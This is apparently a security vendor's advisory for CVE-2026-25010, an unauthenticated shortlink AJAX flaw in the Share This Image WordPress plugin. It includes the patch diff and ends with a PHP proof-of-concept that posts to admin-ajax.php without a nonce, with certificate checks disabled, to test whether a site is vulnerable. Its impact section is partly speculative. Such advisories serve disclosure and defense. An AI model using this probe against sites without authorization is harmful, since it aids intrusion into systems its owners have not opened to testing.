Atomic Edge analysis of CVE-2026-25010:
This vulnerability is a Missing Authorization flaw in the Share This Image WordPress plugin, affecting all versions up to and including 2.09. The vulnerability allows unauthenticated attackers to perform unauthorized actions via the plugin’s AJAX handler, leading to a moderate security risk with a CVSS score of 5.3.
Atomic Edge research identifies the root cause in the `STI_Shortlink::ajax_process()` method within the file `share-this-image/includes/class-sti-shortlink.php`. The function processes AJAX requests for shortlink generation without performing any capability or authorization checks. The vulnerable code path begins when an unauthenticated user sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `sti_shortlinks`. The function directly processes the `hash` and `link` parameters from the POST data, as shown in the diff at lines 77-84 of the patched version, where the missing check existed before the patch.
Exploitation requires an attacker to send a crafted POST request to the WordPress site’s `admin-ajax.php` endpoint. The request must include the following parameters: `action=sti_shortlinks`, `hash=[sanitized_key]`, and `link=[target_url]`. No authentication cookies or nonce tokens are required. Attackers can automate this request to interact with the plugin’s shortlink generation functionality, which is intended only for authenticated users.
The patch adds a nonce verification check to the `STI_Shortlink::ajax_process()` method. The fix introduces two changes. First, in `share-this-image/includes/class-sti-functions.php` at line 155, the plugin generates a nonce named `sti_shortlinks` and passes it to the client-side JavaScript via the `sti_vars` array. Second, in `share-this-image/includes/class-sti-shortlink.php` at lines 77-80, the `ajax_process()` method now validates this nonce using `wp_verify_nonce()`. If the nonce is missing or invalid, the function returns a JSON error with a 403 status. This ensures the request originates from a legitimate plugin context with proper authorization.
Successful exploitation allows unauthenticated attackers to invoke the plugin’s shortlink generation AJAX handler. While the exact impact of this unauthorized action depends on the internal logic of the `STI_Shortlink::ajax_process()` method, typical consequences include unauthorized data processing, potential information disclosure through error messages, or consumption of server resources. The vulnerability could also serve as an entry point for chaining with other flaws.
--- a/share-this-image/includes/admin/class-sti-admin-options.php
+++ b/share-this-image/includes/admin/class-sti-admin-options.php
@@ -217,7 +217,7 @@
'mobile' => 'true'
),
"twitter" => array(
- 'name' => __( "Twitter", "share-this-image" ),
+ 'name' => __( "X", "share-this-image" ),
'desktop' => 'true',
'mobile' => 'true'
),
@@ -346,8 +346,8 @@
);
$options['general'][] = array(
- "name" => __( "Twitter via", "share-this-image" ),
- "desc" => __( "Set twitters 'via' property.", "share-this-image" ),
+ "name" => __( "X via", "share-this-image" ),
+ "desc" => __( "Set X 'via' property.", "share-this-image" ),
"id" => "twitter_via",
"value" => '',
"type" => "text"
--- a/share-this-image/includes/class-sti-functions.php
+++ b/share-this-image/includes/class-sti-functions.php
@@ -155,6 +155,7 @@
$sti_vars = array(
'ajaxurl' => admin_url( 'admin-ajax.php' ),
+ 'nonce' => wp_create_nonce('sti_shortlinks'),
'homeurl' => home_url( '/' ),
'selector' => $selector,
'title' => stripslashes( $settings['title'] ),
--- a/share-this-image/includes/class-sti-shortlink.php
+++ b/share-this-image/includes/class-sti-shortlink.php
@@ -77,6 +77,10 @@
define( 'DOING_AJAX', true );
}
+ if ( empty($_POST['nonce']) || ! wp_verify_nonce( $_POST['nonce'], 'sti_shortlinks' ) ) {
+ wp_send_json_error( array( 'message' => 'Invalid nonce' ), 403 );
+ }
+
$hash = sanitize_key( $_POST['hash'] );
$link = $_POST['link'];
--- a/share-this-image/share-this-image.php
+++ b/share-this-image/share-this-image.php
@@ -3,7 +3,7 @@
/*
Plugin Name: Share This Image
Description: Allows you to share in social networks any of your images
-Version: 2.09
+Version: 2.10
Author: ILLID
Author URI: https://share-this-image.com/
Text Domain: share-this-image
@@ -14,7 +14,7 @@
exit;
}
-define( 'STI_VER', '2.09' );
+define( 'STI_VER', '2.10' );
define( 'STI_DIR', dirname( __FILE__ ) );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25010 - Share This Image <= 2.09 - Missing Authorization
<?php
$target_url = 'https://vulnerable-wordpress-site.com';
// The vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The action parameter that triggers the vulnerable function
$post_data = [
'action' => 'sti_shortlinks',
'hash' => 'examplehash123', // This would be a sanitized key from the plugin's context
'link' => 'https://example.com/image.jpg'
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Analyze the response
if ($http_code === 200 && strpos($response, 'Invalid nonce') === false) {
echo "[+] Vulnerability likely EXISTS. Received HTTP 200 without nonce error.n";
echo "[+] Response: " . htmlspecialchars($response) . "n";
} elseif ($http_code === 403 && strpos($response, 'Invalid nonce') !== false) {
echo "[-] Vulnerability likely PATCHED. Received HTTP 403 with nonce error.n";
} else {
echo "[?] Unexpected response. HTTP Code: $http_coden";
echo "[?] Response: " . htmlspecialchars($response) . "n";
}
?>
